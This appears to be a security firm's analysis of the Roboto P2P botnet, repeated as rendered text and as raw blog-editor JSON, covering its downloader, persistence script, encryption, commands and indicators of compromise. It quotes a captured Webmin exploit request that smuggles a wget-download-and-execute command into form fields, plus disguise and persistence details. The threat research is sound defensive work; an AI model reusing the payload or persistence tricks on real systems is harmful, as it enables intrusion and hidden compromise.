4. XOR decryption，repeat step 4 on every 8 byte，to update XOR Key:
    Ciphertext: 9D 73 9E 72 76 4E DE 99
    Plaintext: peer\x30\x01\x4a\x00\x00



Therefore, we know that Peer has 0x130 bytes of information, and so on, the plaintext of the ciphertext (8E 3C 1F 93 B1 C9) is (pcfg\x04\x00).


P2P control module


Roboto Bot can be controlled by a Unix domain socket. The bound path is /tmp/.cs




The following code starts the control process




We did not find the relevant code to set the environment variable "CS" in the Roboto Bot sample, so we speculated that it is in the Roboto P2P control module. It starts a process, sets the environment to "CS", and controls the Roboto Bot module through a Unix domain socket. then the P2P node becomes the control node in the Botonet P2P network.


We can get a good idea on the functions of the P2P control module through the Roboto Bot module, these function names are very intuitive.




We tested some of the control commands by hijacking the Roboto Bot program. Here are some test results.


info The command will display hard-coded information and public key information, including the v17, we suspect it is a program version number.



peers The command displays the P2P node information currently connected by Roboto Bot.




Bot function


 * Reverse shell
   
   
 * Self uninstall
   
   
 * Execution system command
   
   
 * Get process network information (traverse process list, get process, network and crontab file information) and upload it to the specified HTTP interface


/proc/%s/exe
/proc/%s/cmdline
/proc/net/tcp
/proc/net/udp
crontab






 * 
   
   
   Get the Bot information and upload it to the specified HTTP interface.
   
   
   

 * 
   
   
   Run the encrypted file in the specified URL (similar to the Roboto Downloader function)
   
   
   

 * 
   
   
   The DDoS attack
   
   Depending on the running privilege it gets, Bot provides four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.
   
   
   


P2P communication protocol


Besides using the P2P communication protocol, Roboto Bot employs algorithms such as Curve25519, TEA, and HMAC-SHA256 to ensure data integrity and security. The encrypted Key is derived from the Curve25519_SharedKey generated by the public key in the Bot and C2 information. The format of the packet is index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf], so packets larger than 21 bytes contain valid information.


P2P node discovery data verification


The length of the request packet is a fixed 69 bytes, the data is not encrypted, and the content is the public key of the target Peer and the public key of the Bot. After receiving the Bot request packet, Peer establishes a connection with the Bot if it is consistent with its own public key, and then calculates the SharedKey through the public key. In the subsequent communication process, the message with valid information (length greater than 21 words) Section) will be encrypted.




P2P node discovery data decryption


The local Petoto Bot sample is communicated with the hard-coded Peer (186.46.45.252), and a new Peer node 87.249.15.18:63104 is taken as an example.



Bot request, 69 bytes


index: 00 00 00 00 
type: 2
data:
	 0-31: C2 Curve25519_PublicKey
		93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D 
		41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B
	32-63: Bot Curve25519_PublicKey
		52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8  
		3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24




Peer reply, 60 bytes,


index: 00 00 00 00
type: 00
data:
	cmdtype:
		4f 
	ip:port
		44 be 1c 18 da 42 
	PublibcKey:
		7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25 
		3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f
	Hmac-sha256[0:0xf]	
		b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e




Analog decryption verification process


1. Bot’s private key and Pee’s public key to generate shared key
SharedKey:
        28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8 
        B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D
2. Using first 16 byte of HMAC-SHA256 for verification
	HMAC-SHA256[0:0XF]=
	b5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e

3. Using last 16 bytes of the sharedkey, DWORD reverse，to be used as encryption key for TEA:
	A8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32
4. Using the above Key, to get XOR Key:
	First round: 4E 13 47 13 0A 2C C2 6A
	Second round: B0 68 BD EB 9B 29 10 23
	Third round: AD B4 3D 34 40 C0 3D FC
	Fourth round: 31 1E 6B F0 EA D5 8E 65
	Fivth round: D1 1C 42 58 2A 0C 7D A4
5. XOR dencryption，repeat step 4 on every 8 byte，to update XOR Key and get plaintext
    cmdtype:
        01
    ip:port:
        57 F9 0F 12 :F6 80 (87.249.15.18:63104)
    PublicKey:	
        14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18 
        C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02
	



From the following network packets, we can see 87.249.15.18:63104 is exactly what we calculated.




Attack command verification


In a P2P network, nodes are untrustworthy, and anyone can forge a P2P node at a very low cost. In order to ensure that the Roboto network is completely controllable and not stolen by others, Roboto needs to perform signature verification for each attack command. Only the attack messages that can be signed and signed can be accepted and executed by the Roboto node.

The verification method adopted by Roboto is ED25519, which is a public digital signature algorithm. At the same time, the check public key is:60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C, the public key is integrated into each of the Roboto Bot samples.



Suggestions


We recommend that Webmin users take a look whether they are infected by checking the process, file name and UDP network connection as we coverd above.


We recommend that Roboto Botnet related IP, URL and domain names to be monitored and blocked.



Contact us


Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.


IoC list


Sample MD5


4b98096736e94693e2dc5a1361e1a720
4cd7bcd0960a69500aa80f32762d72bc
d88c737b46f1dcb981b4bb06a3caf4d7



Encrypted Roboto Bot MD5


image.jpg         de14c4345354720effd0710c099068e7
image2.jpg        69e1cccaa072aedc6a9fd9739e2cdf90
roboto.ttc        f47593cceec08751edbc0e9c56cad6ee
roboto.ttf        3020c2a8351c35530ab698e298a5735c



URL


http://190.114.240.194/boot
http://citilink.dev6.ru/css/roboto.ttc
http://citilink.dev6.ru/css/roboto.ttf
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg
http://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg



Hard-coded Peer IP


95.216.17.209       	Finland             	ASN 24940           	Hetzner Online GmbH 
213.159.27.5        	Italy               	ASN 201474          	Aircom Service srl  
186.46.45.252       	Ecuador             	ASN 28006           	CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
120.150.43.45       	Australia           	ASN 1221            	Telstra Corporation Ltd
66.113.179.13       	United States       	ASN 14280           	NetNation Communications Inc


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background introduction\nOn August 26, 2019, our 360Netlab Unknown Threat Detection System highlighted a suspicious ELF file (4cd7bcd0960a69500aa80f32762d72bc) and passed along to our researchers to take a closer look, upon further analysis, we determined it is a P2P bot program.\n\nFast forwarded to October 11, 2019, our Anglerfish honeypot captured another suspicious ELF sample (4b98096736e94693e2dc5a1361e1a720), and it turned out to be the Downloader of the previous suspicious ELF sample. The Downloader sample downloads the above Bot program from two hard-coded HTTP URLs. One of the addresses disguised the Bot sample as a Google font library \"roboto.ttc\", so we named the Botnet Roboto.\n\nWe have been tracking the Roboto Botnet for nearly three months and here are some of its technical features.\n\n\n## Roboto Botnet overview\nCurrently, we have captured the Downloader and Bot modules of the Roboto Botnet, and we speculate that it also has a vulnerability scanning module and a P2P control module.\n<a href=\"__GHOST_URL__/content/images/2019/11/Roboto.png\"><img src=\"__GHOST_URL__/content/images/2019/11/Roboto.png\" class=\"kg-image\"/></a>\nRoboto Botnet mainly supports 7 functions: reverse shell, self-uninstall, gather process' network information, gather Bot information, execute system commands, run encrypted files specified in URLs, DDoS attack, etc. \n\nAt the same time, it also uses Curve25519, Ed25519, TEA, SHA256, HMAC-SHA256 and other algorithms to ensure the integrity and security of its components and P2P network, create the corresponding Linux self-starting script based on the target system, and disguise its own files and processes name to gain persistence control.\n\nRoboto Botnet has DDoS functionality, but it seems DDoS is not its main goal. We have yet to captured a single DDoS attack command since it showed up on our radar. We still yet to learn its true purpose.\n\n\n## Propagation\nOn October 11th, 2019, the Anglerfish honeypot caught ```51.38.200.230```spreading Downloader sample ```4b98096736e94693e2dc5a1361e1a720``` via the Webmin RCE vulnerability (CVE-2019-15107) . The download URL is ```http://190.114.240.194/boot```, the following is the exploit Payload.\n\n```\nPOST /password_change.cgi HTTP/1.1\nHost: {target}:10000\nUser-Agent: Go-http-client/1.1\nAccept: */*\nReferer: https://{target}:10000/session_login.cgi\nCookie: redirect=1; testing=1; sid=x; sessiontest=1\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 270\n\nuser=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%  \n```\nWe can see that ```51.38.200.230``` itself also has the same Webmin service (TCP/10000) open, guess it was also infected.\n\n## Reverse analysis\n### Roboto Downloadersample analysis\n- MD5: 4b98096736e94693e2dc5a1361e1a720\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n> Library: musl-libc\n\nThe main function of Roboto Downloader is to download the corresponding encrypted Roboto Bot program from the specified URL according to the CPU architecture of the victim machine, and then decrypt and execute it.\n\nCurrently, Roboto Downloader supports both i386 and x86_64 architectures.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_arch.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_arch.png\" class=\"kg-image\"/></a>\n\nThe Roboto Downloader sample hard-coded URL stores the encrypted Roboto Bot program. Each group of URLs has a corresponding decryption key and SHA256 check value.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_res_2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_res_2.png\" class=\"kg-image\"/></a>\n\nTake image2.jpg as an example. Its SHA256 hash value is consistent with the hard-coded SHA256 hash value in the Roboto Downloader sample.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_res_sha256.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_res_sha256.png\" class=\"kg-image\"/></a>\n\nThe decryption algorithm is as follows, the Key length is 8 bytes, and each round will calculate a new XOR Key.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_xor.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_xor.png\" class=\"kg-image\"/></a>\n\nAfter decrypting, we got the Roboto Bot sample.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_dec.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_dec.png\" class=\"kg-image\"/></a>\n\nThe initial XOR Key is not known, but the characteristics of the XOR encryption algorithm can be used to get the bot file.\nAccording to the feature that the value of elf_header[0x8:0xf] is often 0, the Bot file can be decrypted by the following method.\n```c++\n\tfstream file(filename, ios::binary | ios::in);\n\tfile.read((char*)fstr.data(), fsize);\n\tfile.close();\n\tstring skey(fstr, 8, 8);\n\treverse(skey.begin(), skey.end());\n\tuint64_t *sskey = (uint64_t*)&skey[0];\n\tcout << hex << \"sskey= \" << *sskey << endl;\n\tfstr[0] = '\\x7F';\n\tfstr[1] = 'E';\n\tfstr[2] = 'L';\n\tfstr[3] = 'F';\n\tfstr[6] = '\\x01';\n\tfstr[7] = '\\x00';\n\tfsize -= 8;\n\tuint64_t cnt = fsize / 8;\n\tuint8_t rmd = fsize % 8;\n\tfor (uint64_t i = 0; i < cnt; i++) {\n\t\tfor (int j = 0; j < 8; j++)\n\t\t{\n\t\t\tfstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);\n\t\t}\n\t\tuint64_t rnda = *sskey << 13 ^ *sskey;\n\t\tuint64_t rndb = rnda >> 7 ^ rnda;\n\t\tuint64_t rndc = rndb << 17 ^ rndb;\n\t\t*sskey = rndc;\n\t}\n\tfor (uint8_t i = 0; i < rmd; i++)\n\t{\n\t\tfstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);\n\t}\n\tif (fstr[42] == '\\x20' && fstr[46] == '\\x28')\n\t{\n\t\tfstr[4] = '\\x01';\n\t\tfstr[5] = '\\x01';\n\t}\n\tif (fstr[43] == '\\x20' && fstr[47] == '\\x28')\n\t{\n\t\tfstr[4] = '\\x01';\n\t\tfstr[5] = '\\x02';\n\t}\n\tif (fstr[54] == '\\x38' && fstr[58] == '\\x40')\n\t{\n\t\tfstr[4] = '\\x02';\n\t\tfstr[5] = '\\x01';\n\t}\n\tif (fstr[55] == '\\x38' && fstr[59] == '\\x40')\n\t{\n\t\tfstr[4] = '\\x02';\n\t\tfstr[5] = '\\x02';\n\t}\n```\n\n\n### Roboto Bot sample analysis\n- MD5: d88c737b46f1dcb981b4bb06a3caf4d7\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n> Library: musl-libc\n\nAs aforementioned, Roboto Bot has server build in functions and disguise itself on the victim host.\n\n#### Disguise\n* Create self-starting script based on the release version of the Linux system ```/etc/init.d/dns-clear``` or ```systemd-hwdb-upgrade.service```\n    ```\n    #! /bin/sh\n\n    ### BEGIN INIT INFO\n    # Provides:          dns-clear\n    # Required-Start:    $local_fs $remote_fs $network\n    # Required-Stop:     $local_fs\n    # Default-Start:     1 2 3 4 5\n    # Default-Stop:\n    # Short-Description: Cleans up any mess left by 0dns-up\n    ### END INIT INFO\n\n    PATH=/sbin:/bin:/usr/sbin:/usr/bin\n\n    case \"$1\" in\n      start)\n            /usr/lib/libXxf86dag.so.1.0.0 &\n            ;;\n      *)\n            ;;\n    esac\n\n    exit 0\n    ```\n\n* Fake Process names\n    ```\n    (sd-pam)\n    /sbin/rpcbind\n    /usr/bin/python\n    upstart-socket-bridge\n    /usr/sbin/irqbalance\n    /lib/systemd/systemd-udevd\n    /usr/libexec/postfix/master\n    ```\n\n* File name for masquerading\n    ```\n    libXxf86dag.so\n    .node_repl_history.gz\n    ```\n  \n#### Hard coded Peer information\nRoboto Bot hardcoded 4 sets of Peers, the structure is **IP: PORT: Curve25519_Pub Key**\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_c2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_c2.png\" class=\"kg-image\"/></a>\n\n```\nPeer 1:\n\t213.159.27.5:57491\nPubkey:\n\t8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4 \n\t7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79\n\nPeer 2:\n\t186.46.45.252:52085\nPubkey:\n\t93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D \n\t41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B\n\nPeer 3:\n\t95.216.17.209:57935\nPubkey:\n\tE8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05 \n\tF2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E\n\nPeer 4:\n\t120.150.43.45:49252\nPubkey:\n\tE7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7 \n\tF3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20\n　\n```\n\nThe third peer has the following modification in the sample ```4cd7bcd0960a69500aa80f32762d72bc```\n\n```\nPeer 3:\n\t66.113.179.13:33543\nPubkey:\n\tB3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B \n\t2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E\n```\n\n\n#### Encryption verfication\nRoboto Bot uses algorithms such as Curve25519, TEA, and HMAC-SHA256 to implement data encryption and validity verification. This method is widely been used in the generation of cfg files and data packets.\n\nThe general process is as shown\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_flow.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_flow.png\" class=\"kg-image\"/></a>\n\n**Curve25519_PrivateKey** is generated by /dev/urandom.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_priv.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_priv.png\" class=\"kg-image\"/></a>\n\n\n\n#### cfg file\nRoboto Bot will store the generated cfg files in different file locations depending on the privilege it runs.\n```\n$home/.config/trolltech.conf      //run as regular user\n/etc/iproute2/rt_ksfield          //run as root\n```\n\nThe cfg file contains the private key, the encrypted data, and the HMAC-SHA256 value of the encrypted data, which are updated every hour. The encrypted data is composed of Peer and Port information, and its structure  is *peer:length:data,pcfg:length:data*.<a href=\"__GHOST_URL__/content/images/2019/11/rob_cfg.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cfg.png\" class=\"kg-image\"/></a>\nCfg file decryption example\n```\nThe first 0x20 byte，Curve25519 private key\n    68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8 \n    E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63\nThe last 0x20 byte，hmac-sha256 hash (0x20-0x165)\n    1B 64 C4 FD 65 C0 95 9B 6F B1　D7 C1 75 31 DA 5A \n    01 EC E1 52 06 25 E9 7D A1 9B　57 E5 CA 67 2B D6\n    \nEncryption verification\n1. Generate publicKey:\n    52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8  \n    3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24\n\n2. Using last 16 bytes, DWORD reverse，to be used as encryption key for TEA:\n    58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62\n\n3. Using the above Key, to get XOR Key:\n    First round: ED 16 FB 00 46 4F 94 99\n\n4. XOR decryption，repeat step 4 on every 8 byte，to update XOR Key:\n    Ciphertext: 9D 73 9E 72 76 4E DE 99\n    Plaintext: peer\\x30\\x01\\x4a\\x00\\x00\n```\n\nTherefore, we know that Peer has 0x130 bytes of information, and so on, the plaintext of the ciphertext (8E 3C 1F 93 B1 C9) is (pcfg\\x04\\x00).\n\n\n#### P2P control module\nRoboto Bot can be controlled by a Unix domain socket. The bound path is ```/tmp/.cs```\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_unixpro.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_unixpro.png\" class=\"kg-image\"/></a>\n\nThe following code starts the control process\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_csm.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_csm.png\" class=\"kg-image\"/></a>\n\nWe did not find the relevant code to set the environment variable \"CS\" in the Roboto Bot sample, so we speculated that it is in the Roboto P2P control module. It starts a process, sets the environment to \"CS\", and controls the Roboto Bot module through a Unix domain socket. then the P2P node becomes the control node in the Botonet P2P network.\n\nWe can get a good idea on the functions of the P2P control module through the Roboto Bot module, these function names are very intuitive.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_domsock.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_domsock.png\" class=\"kg-image\"/></a>\n\nWe tested some of the control commands by hijacking the Roboto Bot program. Here are some test results.\n\n```info``` The command will display hard-coded information and public key information, including the ```v17```, we suspect it is a program version number.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_info.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_info.png\" class=\"kg-image\"/></a>\n```peers``` The command displays the P2P node information currently connected by Roboto Bot.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_peerinfo.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_peerinfo.png\" class=\"kg-image\"/></a>\n\n#### Bot function\n* Reverse shell\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_shell.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_shell.png\" class=\"kg-image\"/></a>\n* Self uninstall\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_clear-2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_clear-2.png\" class=\"kg-image\"/></a>\n* Execution system command\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_system.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_system.png\" class=\"kg-image\"/></a>\n* Get process network information (traverse process list, get process, network and crontab file information) and upload it to the specified HTTP interface\n```\n/proc/%s/exe\n/proc/%s/cmdline\n/proc/net/tcp\n/proc/net/udp\ncrontab\n```\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_cinfo1.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cinfo1.png\" class=\"kg-image\"/></a>\n* Get the Bot information and upload it to the specified HTTP interface.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_cinfo3.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cinfo3.png\" class=\"kg-image\"/></a>\n* Run the encrypted file in the specified URL (similar to the Roboto Downloader function)\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_http.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_http.png\" class=\"kg-image\"/></a>\n\n* The DDoS attack\nDepending on the running privilege it gets, Bot provides four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_atk.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_atk.png\" class=\"kg-image\"/></a>\n\n\n#### P2P communication protocol\nBesides using the P2P communication protocol, Roboto Bot employs algorithms such as Curve25519, TEA, and HMAC-SHA256 to ensure data integrity and security. The encrypted Key is derived from the Curve25519_SharedKey generated by the public key in the Bot and C2 information. The format of the packet is index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf], so packets larger than 21 bytes contain valid information.\n\n###### P2P node discovery data verification\nThe length of the request packet is a fixed 69 bytes, the data is not encrypted, and the content is the public key of the target Peer and the public key of the Bot. After receiving the Bot request packet, Peer establishes a connection with the Bot if it is consistent with its own public key, and then calculates the SharedKey through the public key. In the subsequent communication process, the message with valid information (length greater than 21 words) Section) will be encrypted.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_hello.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_hello.png\" class=\"kg-image\"/></a>\n\n###### P2P node discovery data decryption\nThe local Petoto Bot sample is communicated with the hard-coded Peer (186.46.45.252), and a new Peer node 87.249.15.18:63104 is taken as an example. \n<a href=\"__GHOST_URL__/content/images/2019/11/rob_hellosrv.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_hellosrv.png\" class=\"kg-image\"/></a>\nBot request, 69 bytes\n```\nindex: 00 00 00 00 \ntype: 2\ndata:\n\t 0-31: C2 Curve25519_PublicKey\n\t\t93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D \n\t\t41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B\n\t32-63: Bot Curve25519_PublicKey\n\t\t52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8  \n\t\t3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24\n\n```\nPeer reply, 60 bytes,\n```\nindex: 00 00 00 00\ntype: 00\ndata:\n\tcmdtype:\n\t\t4f \n\tip:port\n\t\t44 be 1c 18 da 42 \n\tPublibcKey:\n\t\t7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25 \n\t\t3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f\n\tHmac-sha256[0:0xf]\t\n\t\tb5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e\n\n```\n\nAnalog decryption verification process\n```\n1. Bot’s private key and Pee’s public key to generate shared key\nSharedKey:\n        28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8 \n        B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D\n2. Using first 16 byte of HMAC-SHA256 for verification\n\tHMAC-SHA256[0:0XF]=\n\tb5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e\n\n3. Using last 16 bytes of the sharedkey, DWORD reverse，to be used as encryption key for TEA:\n\tA8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32\n4. Using the above Key, to get XOR Key:\n\tFirst round: 4E 13 47 13 0A 2C C2 6A\n\tSecond round: B0 68 BD EB 9B 29 10 23\n\tThird round: AD B4 3D 34 40 C0 3D FC\n\tFourth round: 31 1E 6B F0 EA D5 8E 65\n\tFivth round: D1 1C 42 58 2A 0C 7D A4\n5. XOR dencryption，repeat step 4 on every 8 byte，to update XOR Key and get plaintext\n    cmdtype:\n        01\n    ip:port:\n        57 F9 0F 12 :F6 80 (87.249.15.18:63104)\n    PublicKey:\t\n        14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18 \n        C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02\n\t\n```\nFrom the following network packets, we can see ```87.249.15.18:63104``` is exactly what we calculated.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_secpeer.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_secpeer.png\" class=\"kg-image\"/></a>\n\n###### Attack command verification\nIn a P2P network, nodes are untrustworthy, and anyone can forge a P2P node at a very low cost. In order to ensure that the Roboto network is completely controllable and not stolen by others, Roboto needs to perform signature verification for each attack command. Only the attack messages that can be signed and signed can be accepted and executed by the Roboto node.\nThe verification method adopted by Roboto is ED25519, which is a public digital signature algorithm. At the same time, the check public key is:```60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C```, the public key is integrated into each of the Roboto Bot samples.\n\n### Suggestions\nWe recommend that Webmin users take a look whether they are infected by checking the process, file name and UDP network connection as we coverd above. \n\nWe recommend that Roboto Botnet related IP, URL and domain names to be monitored and blocked. \n\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n\n#### IoC list\nSample MD5\n```\n4b98096736e94693e2dc5a1361e1a720\n4cd7bcd0960a69500aa80f32762d72bc\nd88c737b46f1dcb981b4bb06a3caf4d7\n```\n\nEncrypted Roboto Bot MD5\n```\nimage.jpg         de14c4345354720effd0710c099068e7\nimage2.jpg        69e1cccaa072aedc6a9fd9739e2cdf90\nroboto.ttc        f47593cceec08751edbc0e9c56cad6ee\nroboto.ttf        3020c2a8351c35530ab698e298a5735c\n```\nURL\n```\nhttp://190.114.240.194/boot\nhttp://citilink.dev6.ru/css/roboto.ttc\nhttp://citilink.dev6.ru/css/roboto.ttf\nhttp://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg\nhttp://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg\n```\nHard-coded Peer IP \n```\n95.216.17.209       \tFinland             \tASN 24940           \tHetzner Online GmbH \n213.159.27.5        \tItaly               \tASN 201474          \tAircom Service srl  \n186.46.45.252       \tEcuador             \tASN 28006           \tCORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP\n120.150.43.45       \tAustralia           \tASN 1221            \tTelstra Corporation Ltd\n66.113.179.13       \tUnited States       \tASN 14280           \tNetNation Communications Inc\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}